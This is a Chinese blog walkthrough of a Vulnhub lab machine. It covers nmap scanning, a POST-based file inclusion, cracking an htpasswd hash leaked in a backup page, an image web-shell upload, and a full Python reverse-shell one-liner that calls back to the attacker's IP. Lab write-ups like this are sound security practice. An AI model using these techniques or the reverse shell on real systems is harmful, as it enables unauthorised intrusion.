前言

早就知道Vulnhub有很多非常好的靶机供练习,但是不知咋的我的网页上没有下载链接,最后发现阔以直接通过https://download.vulnhub.com/checksum.txt这个校检MD5值的列表来获取到链接,下载速度比较慢,找了个小点的靶机上手试试

正文

通过netdiscover得知靶机IP为192.168.1.105,上nmap扫描端口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
➜  ~ nmap A 192.168.1.105

Starting Nmap 7.60 ( https://nmap.org ) at 2018-08-28 11:35 CST

Nmap scan report for 192.168.1.105

Host is up (0.00089s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

80/tcp open http

8011/tcp open unknown

Nmap done: 2 IP addresses (1 host up) scanned in 2.43 seconds

21端口允许匿名登录,但好像就没什么东西了

80端口是一个Web页面,目录扫描并没发现有用的信息,仅development目录存在一个http认证弹窗

8011端口是一个标题为Development的页面,目录扫描发现存在api目录,访问提示有四个文件,但只有一个files_api.php文件访问存在,提示:

No parameter called file passed to me

* Note : this API don’t use json , so send the file name in raw format

猜测是个文件包含点,传入file=/etc/passwd警告hacker攻击,改为POST方式成功包含

想到包含一下ssh日志文件getshell,但是失败了,阔能是没有权限,思路中断

(偷看writeup)发现80端口下还有一个备份index.html.bak,下载下来看一下:

1
2
3
4
5
6
<html><body><h1>It works!</h1>
<p>This is the default web page for this server.</p>
<p>The web server software is running but no content has been added, yet.</p>
<a href="/development">development</a>
<!-- I will use frank:$apr1$1oIGDEDK$/aVFPluYt56UvslZMBDoC0 as the .htpasswd file to protect the development path -->
</body></html>

提示了development目录的认证用户密码,也不知道是啥加密方式,通过工具john阔以解出密码来为frank!!!,该工具主要针对Unix弱密码解密

拿着密码,访问80端口中的development目录,提示有个上传点,扫描目录发现有个uploader目录

其中是一个图片上传点,想着上传一个图片马上去,由于网站有检测,需要添加图片标志头,上传成功有返回信息:

File is an image - image/gif.The file a.gif has been uploaded to my uploads path.

(偷看writeup)这里需要通过组合字典去爆破文件路径,得到FRANKuploads目录,我了个去。

包含图片马getshell后,直接反弹shell不成功,查看了下靶机有perl和python,阔以用来弹shell:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.102",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

后面的提权部分,看了writeup也没搞定,算了这方面我也没啥兴趣

最后

期间偷瞄的writeup来自:https://xz.aliyun.com/t/2593

做完后还看了这篇:https://blog.techorganic.com/2018/08/19/ch4inrulz-hacking-challenge/

两篇文章都是用的php来反弹shell,且后面这位收集信息做得非常充分,在判断上传文件路径时,也是通过php伪协议来读取了上传脚本,其中就有完整的上传路径

回过头来看,如果没有这么个上传点,那么包含日志文件可能是非常好的方向,毕竟ftp和ssh都是比较常见的服务